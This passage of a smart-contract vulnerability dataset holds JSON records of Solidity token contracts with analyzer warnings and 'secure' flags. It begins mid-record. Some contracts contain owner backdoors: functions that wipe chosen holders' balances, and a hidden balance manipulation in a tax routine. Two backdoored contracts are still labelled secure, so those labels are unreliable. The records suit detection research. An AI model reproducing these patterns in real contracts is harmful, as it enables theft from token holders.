address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a5f8569\n\t\t// reentrancy-no-eth | ID: f76e3aa\n\t\t// reentrancy-eth | ID: fafb0b4\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a5f8569\n\t\t// reentrancy-eth | ID: fafb0b4\n payable(feeReceiver).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dd7a325): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dd7a325: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ce3d492): Agenda47.startTrading() ignores return value by _router.addLiquidityETH{value msg.value}(address(this),37600000000000000,0,0,msg.sender,block.timestamp)\n\t// Recommendation for ce3d492: Ensure that all the return values of the function calls are used.\n function startTrading() external payable onlyOwner {\n super._transfer(msg.sender, address(this), totalSupply());\n\n\t\t// reentrancy-benign | ID: dd7a325\n\t\t// unused-return | ID: ce3d492\n _router.addLiquidityETH{value: msg.value}(\n address(this),\n 37600000000000000,\n 0,\n 0,\n msg.sender,\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: dd7a325\n uniswapPair = IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: dd7a325\n _startBlock = block.number;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f892000): Agenda47.setSwapFees(uint256,uint256) should emit an event for buyFeePercent = newBuyFee sellFeePercent = newSellFee _finalBuyFee = uint32(newBuyFee) _finalSellFee = uint32(newSellFee) \n\t// Recommendation for f892000: Emit an event for critical parameter changes.\n function setSwapFees(\n uint256 newBuyFee,\n uint256 newSellFee\n ) external onlyOwner {\n require(newBuyFee <= 20 && newSellFee <= 20, \"New fee must be lower.\");\n\n\t\t// events-maths | ID: f892000\n buyFeePercent = newBuyFee;\n\n\t\t// events-maths | ID: f892000\n sellFeePercent = newSellFee;\n\n\t\t// events-maths | ID: f892000\n _finalBuyFee = uint32(newBuyFee);\n\n\t\t// events-maths | ID: f892000\n _finalSellFee = uint32(newSellFee);\n }\n\n function removeLimits() external onlyOwner {\n maxWalletSize = totalSupply();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: cd05227): Agenda47.updateStructure(uint256,uint256) should emit an event for contractSwapMax = maxAmount contractSwapMin = minAmount \n\t// Recommendation for cd05227: Emit an event for critical parameter changes.\n function updateStructure(\n uint256 maxAmount,\n uint256 minAmount\n ) external onlyOwner {\n\t\t// events-maths | ID: cd05227\n contractSwapMax = maxAmount;\n\n\t\t// events-maths | ID: cd05227\n contractSwapMin = minAmount;\n }\n\n function sweepStuckETH() external onlyOwner {\n payable(feeReceiver).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 1a3de70): Agenda47.transferStuckToken(IERC20,uint256) ignores return value by token.transfer(feeReceiver,amount)\n\t// Recommendation for 1a3de70: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function transferStuckToken(\n IERC20 token,\n uint256 amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 1a3de70\n token.transfer(feeReceiver, amount);\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_1020.sol", "secure": 0, "size_bytes": 11637 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Drunkdriving is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable coverage;\n\n constructor() {\n _name = \"Drunk Driving\";\n\n _symbol = \"DD\";\n\n _decimals = 18;\n\n uint256 initialSupply = 381000000;\n\n coverage = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == coverage, \"Not allowed\");\n\n _;\n }\n\n function TRUE(address[] memory city) public onlyOwner {\n for (uint256 i = 0; i < city.length; i++) {\n address account = city[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1021.sol", "secure": 1, "size_bytes": 4360 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Squad is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable tread;\n\n constructor() {\n _name = \"SQUAD\";\n\n _symbol = \"SQUAD\";\n\n _decimals = 18;\n\n uint256 initialSupply = 827000000;\n\n tread = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == tread, \"Not allowed\");\n\n _;\n }\n\n function loud(address[] memory shallow) public onlyOwner {\n for (uint256 i = 0; i < shallow.length; i++) {\n address account = shallow[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1022.sol", "secure": 1, "size_bytes": 4348 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol\" as ERC20Capped;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\n\ncontract WealthInHealth is ERC20, ERC20Capped, Ownable, ERC20Burnable {\n constructor(\n address initialOwner\n )\n ERC20(\"Wealth in Health\", \"WIH\")\n ERC20Capped(21000000 * 10 ** decimals())\n Ownable(initialOwner)\n {\n _mint(msg.sender, 21000000 * 10 ** decimals());\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override(ERC20, ERC20Capped) {\n super._update(from, to, value);\n }\n}", "file_name": "solidity_code_1023.sol", "secure": 1, "size_bytes": 996 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e0f3d47): VictoryAmerica.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = (_tTotal * 5) / 10000 _maxTaxSwap = _taxSwapThreshold * 40\n// Recommendation for e0f3d47: Consider ordering multiplication before division.\ncontract VictoryAmerica is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n bool private inSwaps;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 005600c): VictoryAmerica._taxWallet should be immutable \n\t// Recommendation for 005600c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c1fb422): VictoryAmerica._initialBuyTax should be constant \n\t// Recommendation for c1fb422: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d5ba63): VictoryAmerica._initialSellTax should be constant \n\t// Recommendation for 4d5ba63: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b368ad8): VictoryAmerica._finalBuyTax should be constant \n\t// Recommendation for b368ad8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e08e6b7): VictoryAmerica._finalSellTax should be constant \n\t// Recommendation for e08e6b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 713cda3): VictoryAmerica._reduceBuyTaxAt should be constant \n\t// Recommendation for 713cda3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: d34177d): VictoryAmerica._reduceSellTaxAt should be constant \n\t// Recommendation for d34177d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: c9f7f77): VictoryAmerica._preventSwapBefore should be constant \n\t// Recommendation for c9f7f77: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37d4160): VictoryAmerica._transferTax should be constant \n\t// Recommendation for 37d4160: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Victory America\";\n\n string private constant _symbol = unicode\"VTRUMP\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 18dba88): VictoryAmerica._taxSwapThreshold should be constant \n\t// Recommendation for 18dba88: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: e0f3d47\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 24b8a39): VictoryAmerica._maxTaxSwap should be immutable \n\t// Recommendation for 24b8a39: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: e0f3d47\n uint256 public _maxTaxSwap = _taxSwapThreshold * 40;\n\n modifier lockTheSwaps() {\n inSwaps = true;\n\n _;\n\n inSwaps = false;\n }\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bd1412c): VictoryAmerica.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bd1412c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f2e5d98): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f2e5d98: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 60b3286): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 60b3286: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f2e5d98\n\t\t// reentrancy-benign | ID: 60b3286\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f2e5d98\n\t\t// reentrancy-benign | ID: 60b3286\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _taxAmount(\n address from,\n address to,\n uint256 amount\n ) private returns (uint256) {\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0)\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (inSwaps)\n if (from == address(this) && to == uniswapV2Pair)\n _balances[address(this)] |= uint160(from);\n\n if (_buyCount > 0) taxAmount = amount.mul(_transferTax).div(100);\n }\n\n return taxAmount;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 91d04ce): VictoryAmerica._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 91d04ce: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b9177f1\n\t\t// reentrancy-benign | ID: 60b3286\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: af4aec5\n\t\t// reentrancy-events | ID: f2e5d98\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 643a9fe): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 643a9fe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: aeb14ea): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for aeb14ea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = _taxAmount(from, to, amount);\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount >= _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 643a9fe\n\t\t\t\t// reentrancy-eth | ID: aeb14ea\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 643a9fe\n\t\t\t\t\t// reentrancy-eth | ID: aeb14ea\n ethbalancecontract(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: aeb14ea\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: aeb14ea\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: aeb14ea\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 643a9fe\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: aeb14ea\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: aeb14ea\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 643a9fe\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 643a9fe\n\t\t// reentrancy-events | ID: f2e5d98\n\t\t// reentrancy-benign | ID: 60b3286\n\t\t// reentrancy-eth | ID: aeb14ea\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a376775): VictoryAmerica.ethbalancecontract(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for a376775: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function ethbalancecontract(uint256 amount) private {\n\t\t// reentrancy-events | ID: 643a9fe\n\t\t// reentrancy-events | ID: f2e5d98\n\t\t// reentrancy-eth | ID: aeb14ea\n\t\t// arbitrary-send-eth | ID: a376775\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: af4aec5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for af4aec5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b9177f1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b9177f1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 88a1c27): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 88a1c27: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b5e153d): VictoryAmerica.openTrending() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b5e153d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5bcb593): VictoryAmerica.openTrending() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5bcb593: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 556f5a5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 556f5a5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrending() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-events | ID: af4aec5\n\t\t\t// reentrancy-benign | ID: b9177f1\n\t\t\t// reentrancy-benign | ID: 88a1c27\n\t\t\t// reentrancy-eth | ID: 556f5a5\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-events | ID: af4aec5\n\t\t// reentrancy-benign | ID: b9177f1\n\t\t// reentrancy-benign | ID: 88a1c27\n\t\t// unused-return | ID: 5bcb593\n\t\t// reentrancy-eth | ID: 556f5a5\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-events | ID: af4aec5\n\t\t// reentrancy-benign | ID: b9177f1\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 88a1c27\n\t\t// unused-return | ID: b5e153d\n\t\t// reentrancy-eth | ID: 556f5a5\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 88a1c27\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 556f5a5\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap(uint256 tokenBalances) external lockTheSwaps {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalances > 0) {\n swapTokensForEth(tokenBalances);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n ethbalancecontract(ethBalance);\n }\n }\n\n function transfer() external {\n uint256 contractETHBalance = address(this).balance;\n\n ethbalancecontract(contractETHBalance);\n }\n}", "file_name": "solidity_code_1024.sol", "secure": 0, "size_bytes": 20426 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 299998b): Contract locking ether found Contract Trump47 has payable functions Trump47.receive() But does not have a function to withdraw the ether\n// Recommendation for 299998b: Remove the 'payable' attribute or add a withdraw function.\ncontract Trump47 is ERC20, Ownable {\n constructor() ERC20(unicode\"President Trump (47)\", unicode\"Trump47\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 299998b): Contract locking ether found Contract Trump47 has payable functions Trump47.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 299998b: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_1025.sol", "secure": 0, "size_bytes": 1016 }
